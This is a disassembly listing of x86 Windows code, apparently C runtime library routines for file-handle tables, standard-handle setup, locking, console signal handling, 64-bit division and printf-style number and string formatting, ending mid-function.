loc_44B8CC: ; CODE XREF: sub_44B851+6Dj
mov dword ptr [ebx], 0FFFFFFFFh
mov eax, esi
shl eax, 5
mov [ebp+var_4], eax
mov edx, dword_413988[esi*4]
mov ecx, ebx
sub ecx, edx
mov eax, ecx
push eax
mov edx, 38E38E39h
imul edx
pop eax
shr eax, 1Fh
sar edx, 3
add eax, edx
mov edx, [ebp+var_4]
lea edi, [eax+edx]
jmp short loc_44B917
; ---------------------------------------------------------------------------
loc_44B900: ; CODE XREF: sub_44B851+34j
; sub_44B851+79j
add ebx, 24h
loc_44B903: ; CODE XREF: sub_44B851+2Bj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb loc_44B881
loc_44B917: ; CODE XREF: sub_44B851+ADj
cmp edi, 0FFFFFFFFh
jz short loc_44B975
jmp short loc_44B97F
; ---------------------------------------------------------------------------
loc_44B91E: ; CODE XREF: sub_44B851+1Ej
push 480h
call sub_449121
pop ecx
mov ebx, eax
test eax, eax
jz short loc_44B97F
mov dword_413988[esi*4], ebx
add dword_413A88, 20h
jmp short loc_44B957
; ---------------------------------------------------------------------------
loc_44B93F: ; CODE XREF: sub_44B851+114j
mov byte ptr [ebx+4], 0
mov dword ptr [ebx], 0FFFFFFFFh
mov byte ptr [ebx+5], 0Ah
mov dword ptr [ebx+8], 0
add ebx, 24h
loc_44B957: ; CODE XREF: sub_44B851+ECj
mov eax, dword_413988[esi*4]
add eax, 480h
cmp ebx, eax
jb short loc_44B93F
mov edi, esi
shl edi, 5
push edi
call sub_44BC01
pop ecx
jmp short loc_44B97F
; ---------------------------------------------------------------------------
loc_44B975: ; CODE XREF: sub_44B851+C9j
inc esi
cmp esi, 40h
jl loc_44B867
loc_44B97F: ; CODE XREF: sub_44B851+CBj
; sub_44B851+DCj ...
push 4
call sub_449741
pop ecx
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44B851 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44B991 proc near ; CODE XREF: sub_449D01+5Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_44BA20
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
add eax, edx
test byte ptr [eax+4], 1
jz short loc_44BA20
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_44BA20
test ebx, ebx
jz short loc_44B9D6
cmp ebx, 1
jz short loc_44B9E5
cmp ebx, 2
jz short loc_44B9F4
jmp short loc_44BA01
; ---------------------------------------------------------------------------
loc_44B9D6: ; CODE XREF: sub_44B991+37j
push 0
push 0FFFFFFF6h
call dword_411E0C ; SetStdHandle
jmp short loc_44BA01
; ---------------------------------------------------------------------------
loc_44B9E5: ; CODE XREF: sub_44B991+3Cj
push 0
push 0FFFFFFF5h
call dword_411E0C ; SetStdHandle
jmp short loc_44BA01
; ---------------------------------------------------------------------------
loc_44B9F4: ; CODE XREF: sub_44B991+41j
push 0
push 0FFFFFFF4h
call dword_411E0C ; SetStdHandle
loc_44BA01: ; CODE XREF: sub_44B991+43j
; sub_44B991+52j ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov dword ptr [edx+eax], 0FFFFFFFFh
xor eax, eax
jmp short loc_44BA2E
; ---------------------------------------------------------------------------
loc_44BA20: ; CODE XREF: sub_44B991+Bj
; sub_44B991+2Bj ...
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44BA2E: ; CODE XREF: sub_44B991+8Dj
pop ebx
retn
sub_44B991 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
sub_44BA31 proc near ; CODE XREF: DMN1:0044BBCDp
; sub_44C861+2B4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb loc_44BAC2
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
cmp dword ptr [edx+eax], 0FFFFFFFFh
jnz short loc_44BAC2
test ebx, ebx
jz short loc_44BA6F
cmp ebx, 1
jz short loc_44BA81
cmp ebx, 2
jz short loc_44BA93
jmp short loc_44BAA3
; ---------------------------------------------------------------------------
loc_44BA6F: ; CODE XREF: sub_44BA31+30j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF6h
call dword_411E0C ; SetStdHandle
jmp short loc_44BAA3
; ---------------------------------------------------------------------------
loc_44BA81: ; CODE XREF: sub_44BA31+35j
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF5h
call dword_411E0C ; SetStdHandle
jmp short loc_44BAA3
; ---------------------------------------------------------------------------
loc_44BA93: ; CODE XREF: sub_44BA31+3Aj
mov eax, [esp+4+arg_4]
push eax
push 0FFFFFFF4h
call dword_411E0C ; SetStdHandle
loc_44BAA3: ; CODE XREF: sub_44BA31+3Cj
; sub_44BA31+4Ej ...
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov ecx, [esp+4+arg_4]
mov [edx+eax], ecx
xor eax, eax
jmp short loc_44BAD0
; ---------------------------------------------------------------------------
loc_44BAC2: ; CODE XREF: sub_44BA31+Bj
; sub_44BA31+2Cj
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44BAD0: ; CODE XREF: sub_44BA31+8Fj
pop ebx
retn
sub_44BA31 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; =============== S U B R O U T I N E =======================================
sub_44BAE1 proc near ; CODE XREF: sub_449D01+Cp
; sub_449D01+25p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, dword_413A88
jnb short loc_44BB22
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
test byte ptr [edx+eax+4], 1
jz short loc_44BB22
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
mov eax, [edx+eax]
jmp short loc_44BB30
; ---------------------------------------------------------------------------
loc_44BB22: ; CODE XREF: sub_44BAE1+Bj
; sub_44BAE1+26j
call sub_449321
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
loc_44BB30: ; CODE XREF: sub_44BAE1+3Fj
pop ebx
retn
sub_44BAE1 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
; ---------------------------------------------------------------------------
mov eax, [esp+4]
push eax
call sub_44BAE1
pop ecx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor bl, bl
test byte ptr [esp+14h], 8
jz short loc_44BB60
or bl, 20h
loc_44BB60: ; CODE XREF: DMN1:0044BB5Bj
test word ptr [esp+14h], 4000h
jz short loc_44BB6C
or bl, 80h
loc_44BB6C: ; CODE XREF: DMN1:0044BB67j
test byte ptr [esp+14h], 80h
jz short loc_44BB76
or bl, 10h
loc_44BB76: ; CODE XREF: DMN1:0044BB71j
mov eax, [esp+10h]
push eax
call dword_411DEC ; GetFileType
mov edi, eax
test edi, edi
jnz short loc_44BB99
call dword_411CE8 ; RtlGetLastWin32Error
push eax
call sub_4491C1
pop ecx
or eax, 0FFFFFFFFh
jmp short loc_44BBF2
; ---------------------------------------------------------------------------
loc_44BB99: ; CODE XREF: DMN1:0044BB85j
cmp edi, 2
jnz short loc_44BBA3
or bl, 40h
jmp short loc_44BBAB
; ---------------------------------------------------------------------------
loc_44BBA3: ; CODE XREF: DMN1:0044BB9Cj
cmp edi, 3
jnz short loc_44BBAB
or bl, 8
loc_44BBAB: ; CODE XREF: DMN1:0044BBA1j
; DMN1:0044BBA6j
call sub_44B851
mov esi, eax
cmp eax, 0FFFFFFFFh
jnz short loc_44BBC7
call sub_449321
mov dword ptr [eax], 18h
or eax, 0FFFFFFFFh
jmp short loc_44BBF2
; ---------------------------------------------------------------------------
loc_44BBC7: ; CODE XREF: DMN1:0044BBB5j
mov eax, [esp+10h]
push eax
push esi
call sub_44BA31
add esp, 8
or bl, 1
mov eax, esi
and eax, 1Fh
imul eax, 24h
mov edx, esi
sar edx, 5
mov edx, dword_413988[edx*4]
mov [edx+eax+4], bl
mov eax, esi
loc_44BBF2: ; CODE XREF: DMN1:0044BB97j
; DMN1:0044BBC5j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44BC01 proc near ; CODE XREF: sub_449DA1+3Ap
; sub_44B7E1+3Cp ...
arg_0 = dword ptr 4
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea esi, [edx+eax]
cmp dword ptr [esi+8], 0
jnz short loc_44BC47
push 3
call sub_4496C1
pop ecx
cmp dword ptr [esi+8], 0
jnz short loc_44BC3F
lea eax, [esi+0Ch]
push eax
call dword_411CC8 ; InitializeCriticalSection
inc dword ptr [esi+8]
loc_44BC3F: ; CODE XREF: sub_44BC01+2Fj
push 3
call sub_449741
pop ecx
loc_44BC47: ; CODE XREF: sub_44BC01+21j
lea eax, [esi+0Ch]
push eax
call dword_411CCC ; RtlEnterCriticalSection
pop esi
pop ebx
retn
sub_44BC01 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44BC61 proc near ; CODE XREF: sub_449DA1+4Ap
; sub_44B7E1+56p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
mov eax, ebx
and eax, 1Fh
imul eax, 24h
mov edx, ebx
sar edx, 5
mov edx, dword_413988[edx*4]
lea eax, [edx+eax+0Ch]
push eax
call dword_411CD0 ; RtlLeaveCriticalSection
pop ebx
retn
sub_44BC61 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
push ebx
push 1
push 2
call sub_44BCD1
add esp, 8
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_44BCAC
test ebx, ebx
jnz short loc_44BCB0
loc_44BCAC: ; CODE XREF: DMN1:0044BCA6j
xor eax, eax
jmp short loc_44BCCB
; ---------------------------------------------------------------------------
loc_44BCB0: ; CODE XREF: DMN1:0044BCAAj
cmp ebx, 1
jz short loc_44BCC6
push 0
push 2
call sub_44BCD1
add esp, 8
push 2
call ebx
pop ecx
loc_44BCC6: ; CODE XREF: DMN1:0044BCB3j
mov eax, 1
loc_44BCCB: ; CODE XREF: DMN1:0044BCAEj
pop ebx
retn 4
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BCD1 proc near ; CODE XREF: sub_44A121+18p
; sub_44A121+3Bp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
test ebx, ebx
jle short loc_44BCEF
cmp ebx, 2Ch
jge short loc_44BCEF
cmp [ebp+arg_4], 0FFFFFFFFh
jnz short loc_44BCF7
loc_44BCEF: ; CODE XREF: sub_44BCD1+Ej
; sub_44BCD1+13j
or eax, 0FFFFFFFFh
jmp loc_44BDA7
; ---------------------------------------------------------------------------
loc_44BCF7: ; CODE XREF: sub_44BCD1+1Cj
cmp ebx, 4
jz short loc_44BD06
cmp ebx, 8
jz short loc_44BD06
cmp ebx, 0Bh
jnz short loc_44BD65
loc_44BD06: ; CODE XREF: sub_44BCD1+29j
; sub_44BCD1+2Ej
call sub_44A011
mov [ebp+var_8], eax
mov eax, [eax+34h]
cmp eax, offset dword_4117E4
jnz short loc_44BD46
push 0B0h
call sub_449121
pop ecx
mov edx, [ebp+var_8]
mov [edx+34h], eax
test eax, eax
jz short loc_44BD41
mov eax, [ebp+var_8]
mov edi, [eax+34h]
mov esi, offset dword_4117E4
mov ecx, 2Ch
rep movsd
jmp short loc_44BD46
; ---------------------------------------------------------------------------
loc_44BD41: ; CODE XREF: sub_44BCD1+5Aj
or eax, 0FFFFFFFFh
jmp short loc_44BDA7
; ---------------------------------------------------------------------------
loc_44BD46: ; CODE XREF: sub_44BCD1+45j
; sub_44BCD1+6Ej
mov eax, ebx
shl eax, 2
mov edx, [ebp+var_8]
mov ecx, [edx+34h]
mov ecx, [ecx+eax]
mov [ebp+var_4], ecx
mov edx, [edx+34h]
mov ecx, [ebp+arg_4]
mov [edx+eax], ecx
mov eax, [ebp+var_4]
jmp short loc_44BDA7
; ---------------------------------------------------------------------------
loc_44BD65: ; CODE XREF: sub_44BCD1+33j
cmp ebx, 2
jnz short loc_44BD93
cmp dword_41189C, 0
jnz short loc_44BD93
push 1
push offset sub_40AD10
call dword_411E10 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_44BD89
or eax, 0FFFFFFFFh
jmp short loc_44BDA7
; ---------------------------------------------------------------------------
loc_44BD89: ; CODE XREF: sub_44BCD1+B1j
mov dword_41189C, 1
loc_44BD93: ; CODE XREF: sub_44BCD1+97j
; sub_44BCD1+A0j
lea eax, ds:4117E4h[ebx*4]
mov edx, [eax]
mov [ebp+var_4], edx
mov edx, [ebp+arg_4]
mov [eax], edx
mov eax, [ebp+var_4]
loc_44BDA7: ; CODE XREF: sub_44BCD1+21j
; sub_44BCD1+73j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BCD1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
sub_44BDB1 proc near ; CODE XREF: DMN1:00448A4Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_44BDB1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
sub_44BDC1 proc near ; CODE XREF: DMN1:0044A20Dp
; sub_44BF81+F3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_4]
or eax, eax
jnz short loc_44BDE3
mov ecx, [esp+8+arg_0]
mov eax, [esp+8+arg_C]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_8]
div ecx
mov edx, ebx
jmp short loc_44BE24
; ---------------------------------------------------------------------------
loc_44BDE3: ; CODE XREF: sub_44BDC1+8j
mov ecx, eax
mov ebx, [esp+8+arg_0]
mov edx, [esp+8+arg_C]
mov eax, [esp+8+arg_8]
loc_44BDF1: ; CODE XREF: sub_44BDC1+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_44BDF1
div ebx
mov esi, eax
mul [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
mul esi
add edx, ecx
jb short loc_44BE1F
cmp edx, [esp+8+arg_C]
ja short loc_44BE1F
jb short loc_44BE20
cmp eax, [esp+8+arg_8]
jbe short loc_44BE20
loc_44BE1F: ; CODE XREF: sub_44BDC1+4Ej
; sub_44BDC1+54j
dec esi
loc_44BE20: ; CODE XREF: sub_44BDC1+56j
; sub_44BDC1+5Cj
xor edx, edx
mov eax, esi
loc_44BE24: ; CODE XREF: sub_44BDC1+20j
pop esi
pop ebx
retn 10h
sub_44BDC1 endp
; ---------------------------------------------------------------------------
db 90h
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BE31 proc near ; CODE XREF: sub_44ABB1+B3p
; sub_44ABB1+6E1p
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
cmp dword ptr [ebx+2Ch], 0
jge short loc_44BE4F
mov [ebp+var_64], 7FFFFFFFh
jmp short loc_44BE55
; ---------------------------------------------------------------------------
loc_44BE4F: ; CODE XREF: sub_44BE31+13j
mov eax, [ebx+2Ch]
mov [ebp+var_64], eax
loc_44BE55: ; CODE XREF: sub_44BE31+1Cj
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
movzx eax, byte_4118A0
mov edx, [ebx+34h]
add eax, edx
mov [ebp+var_14], eax
mov [ebp+var_1C], 0
mov [ebp+var_18], 0
test word ptr [ebx+38h], 4
jnz short loc_44BE86
cmp [ebp+var_14], 40h
ja short loc_44BE95
loc_44BE86: ; CODE XREF: sub_44BE31+4Dj
lea eax, [ebp+var_60]
mov [ebp+var_10], eax
mov [ebp+var_14], 40h
jmp short loc_44BEAE
; ---------------------------------------------------------------------------
loc_44BE95: ; CODE XREF: sub_44BE31+53j
mov eax, [ebp+var_14]
push eax
call sub_449121
pop ecx
mov [ebp+var_10], eax
test eax, eax
jnz short loc_44BEAE
or eax, 0FFFFFFFFh
jmp loc_44BF76
; ---------------------------------------------------------------------------
loc_44BEAE: ; CODE XREF: sub_44BE31+62j
; sub_44BE31+73j
test esi, esi
jnz short loc_44BEB7
mov esi, offset aNull ; "(null)"
loc_44BEB7: ; CODE XREF: sub_44BE31+7Fj
mov [ebp+var_20], 0
jmp short loc_44BF3C
; ---------------------------------------------------------------------------
loc_44BEC0: ; CODE XREF: sub_44BE31+10Fj
lea eax, [ebp+var_1C]
push eax
movzx eax, word ptr [esi]
push eax
lea eax, [ebp+var_C]
push eax
call sub_44CE61
add esp, 0Ch
mov edi, eax
test eax, eax
jl short loc_44BEE7
cmp word ptr [esi], 0
jnz short loc_44BEED
dec edi
mov eax, edi
test eax, eax
jge short loc_44BEED
loc_44BEE7: ; CODE XREF: sub_44BE31+A7j
or [ebp+var_20], 0FFFFFFFFh
jmp short loc_44BF46
; ---------------------------------------------------------------------------
loc_44BEED: ; CODE XREF: sub_44BE31+ADj
; sub_44BE31+B4j
cmp [ebp+var_4], edi
jl short loc_44BF46
mov eax, [ebx+14h]
add eax, edi
cmp [ebp+var_14], eax
jnb short loc_44BF17
mov dword ptr [ebx+34h], 0
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44B2F1
add esp, 8
mov dword ptr [ebx+14h], 0
loc_44BF17: ; CODE XREF: sub_44BE31+C9j
push edi
lea eax, [ebp+var_C]
push eax
mov eax, [ebx+14h]
mov edx, [ebp+var_10]
add eax, edx
push eax
call sub_4485B1
add esp, 0Ch
add [ebx+14h], edi
cmp word ptr [esi], 0
jz short loc_44BF46
add esi, 2
sub [ebp+var_4], edi
loc_44BF3C: ; CODE XREF: sub_44BE31+8Dj
cmp [ebp+var_4], 0
jg loc_44BEC0
loc_44BF46: ; CODE XREF: sub_44BE31+BAj
; sub_44BE31+BFj ...
mov eax, [ebp+var_10]
push eax
push ebx
call sub_44B2F1
add esp, 8
mov dword ptr [ebx+34h], 0
mov dword ptr [ebx+14h], 0
lea eax, [ebp+var_60]
cmp eax, [ebp+var_10]
jz short loc_44BF73
mov eax, [ebp+var_10]
push eax
call sub_448071
pop ecx
loc_44BF73: ; CODE XREF: sub_44BE31+136j
mov eax, [ebp+var_20]
loc_44BF76: ; CODE XREF: sub_44BE31+78j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BE31 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Ch, 27h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44BF81 proc near ; CODE XREF: sub_44ABB1+256p
; sub_44ABB1+3CAp ...
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 58h
jnz short loc_44BF99
mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
jmp short loc_44BFA0
; ---------------------------------------------------------------------------
loc_44BF99: ; CODE XREF: sub_44BF81+Dj
mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"
loc_44BFA0: ; CODE XREF: sub_44BF81+16j
mov eax, [ebp+var_34]
mov [ebp+var_24], eax
cmp [ebp+arg_4], 6Fh
jnz short loc_44BFB5
mov [ebp+var_38], 8
jmp short loc_44BFD0
; ---------------------------------------------------------------------------
loc_44BFB5: ; CODE XREF: sub_44BF81+29j
mov al, [ebp+arg_4]
cmp al, 78h
jz short loc_44BFC9
cmp al, 58h
jz short loc_44BFC9
mov [ebp+var_38], 0Ah
jmp short loc_44BFD0
; ---------------------------------------------------------------------------
loc_44BFC9: ; CODE XREF: sub_44BF81+39j
; sub_44BF81+3Dj
mov [ebp+var_38], 10h
loc_44BFD0: ; CODE XREF: sub_44BF81+32j
; sub_44BF81+46j
mov eax, [ebp+var_38]
mov [ebp+var_8], eax
mov [ebp+var_4], 18h
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov al, [ebp+arg_4]
cmp al, 64h
jz short loc_44BFF6
cmp al, 69h
jnz short loc_44C01B
loc_44BFF6: ; CODE XREF: sub_44BF81+6Fj
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_44C01B
jl short loc_44C008
test eax, eax
jnb short loc_44C01B
loc_44C008: ; CODE XREF: sub_44BF81+81j
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
neg eax
adc edx, 0
neg edx
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_44C01B: ; CODE XREF: sub_44BF81+73j
; sub_44BF81+7Fj ...
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
test edx, edx
jnz short loc_44C032
test eax, eax
jnz short loc_44C032
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jz short loc_44C062
loc_44C032: ; CODE XREF: sub_44BF81+A2j
; sub_44BF81+A6j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_3C], eax
mov [ebp+var_4], eax
mov ecx, [ebp+var_30]
mov ebx, [ebp+var_2C]
mov edx, [ebp+var_8]
mov esi, edx
mov edi, esi
sar edi, 1Fh
push ebx
push ecx
push edi
push esi
call sub_44D0B1
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_3C]
mov [ebp+edx+var_20], al
loc_44C062: ; CODE XREF: sub_44BF81+AFj
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_44BDC1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov [ecx+4], edx
jmp short loc_44C0F3
; ---------------------------------------------------------------------------
loc_44C083: ; CODE XREF: sub_44BF81+188j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_44D131
mov [ebp+var_48], eax
mov [ebp+var_44], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4C], eax
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov esi, [ebp+var_48]
mov edi, [ebp+var_44]
push ebx
push ecx
push edi
push esi
call sub_44D1E1
neg eax
adc edx, 0
neg edx
mov ecx, [ebp+arg_0]
mov ebx, [ecx+4]
mov ecx, [ecx]
add eax, ecx
adc edx, ebx
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_4C]
mov [ebp+edx+var_20], al
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov ebx, [ebp+var_44]
mov [eax], ecx
mov [eax+4], ebx
loc_44C0F3: ; CODE XREF: sub_44BF81+100j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jl short loc_44C10F
jg short loc_44C105
test eax, eax
jbe short loc_44C10F
loc_44C105: ; CODE XREF: sub_44BF81+17Ej
cmp [ebp+var_4], 0
jg loc_44C083
loc_44C10F: ; CODE XREF: sub_44BF81+17Cj
; sub_44BF81+182j
cmp [ebp+var_8], 8
jnz short loc_44C13B
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_44C13B
mov eax, [ebp+var_4]
cmp eax, 18h
jnb short loc_44C13B
cmp [ebp+eax+var_20], 30h
jz short loc_44C13B
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov [ebp+eax+var_20], 30h
loc_44C13B: ; CODE XREF: sub_44BF81+192j
; sub_44BF81+19Dj ...
mov edx, [ebp+arg_0]
mov eax, 18h
mov ecx, [ebp+var_4]
sub eax, ecx
mov [edx+1Ch], eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
push edx
mov edx, [ebp+var_4]
lea edx, [ebp+edx+var_20]
push edx
mov eax, [eax+10h]
push eax
call sub_4485B1
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
cmp [eax+1Ch], edx
jge short loc_44C187
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
sub edx, [eax+1Ch]
mov [eax+18h], edx
mov eax, [ebp+arg_0]
and word ptr [eax+38h], 0FFEFh
jmp short loc_44C1B8
; ---------------------------------------------------------------------------
loc_44C187: ; CODE XREF: sub_44BF81+1EEj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44C1B8
movzx edx, word ptr [eax+38h]
and edx, 14h
cmp edx, 10h
jnz short loc_44C1B8
mov edx, [eax+34h]
sub edx, [eax+14h]
sub edx, [eax+18h]
sub edx, [eax+1Ch]
mov [ebp+var_4], edx
test edx, edx
jle short loc_44C1B8
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [edx+18h], eax
loc_44C1B8: ; CODE XREF: sub_44BF81+204j
; sub_44BF81+20Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44BF81 endp
; ---------------------------------------------------------------------------
db 89h, 0FFh
; =============== S U B R O U T I N E =======================================
sub_44C1C1 proc near ; CODE XREF: sub_44ABB1+40Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_44D221
pop ecx
movsx eax, ax
retn
sub_44C1C1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44C1D1 proc near ; CODE XREF: sub_44ABB1+48Cp
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = qword ptr -58h
var_50 = qword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
lea eax, [ebp+var_3E]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_10]
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44C1F0
cmp al, 41h
jnz short loc_44C1F2
loc_44C1F0: ; CODE XREF: sub_44C1D1+19j
jmp short loc_44C225
; ---------------------------------------------------------------------------
loc_44C1F2: ; CODE XREF: sub_44C1D1+1Dj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_44C207
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 6
jmp short loc_44C225
; ---------------------------------------------------------------------------
loc_44C207: ; CODE XREF: sub_44C1D1+28j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jnz short loc_44C225
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_44C21B
cmp al, 47h
jnz short loc_44C225
loc_44C21B: ; CODE XREF: sub_44C1D1+44j
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 1
loc_44C225: ; CODE XREF: sub_44C1D1:loc_44C1F0j
; sub_44C1D1+34j ...
mov eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_14]
push eax
call sub_44D291
add esp, 8
mov [ebp+var_16], ax
cmp ax, 2
jnz short loc_44C28A
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_44C262
cmp al, 65h
jz short loc_44C262
cmp al, 66h
jz short loc_44C262
cmp al, 67h
jnz short loc_44C26B
loc_44C262: ; CODE XREF: sub_44C1D1+83j
; sub_44C1D1+87j ...
mov [ebp+var_44], 4100E2h
jmp short loc_44C272
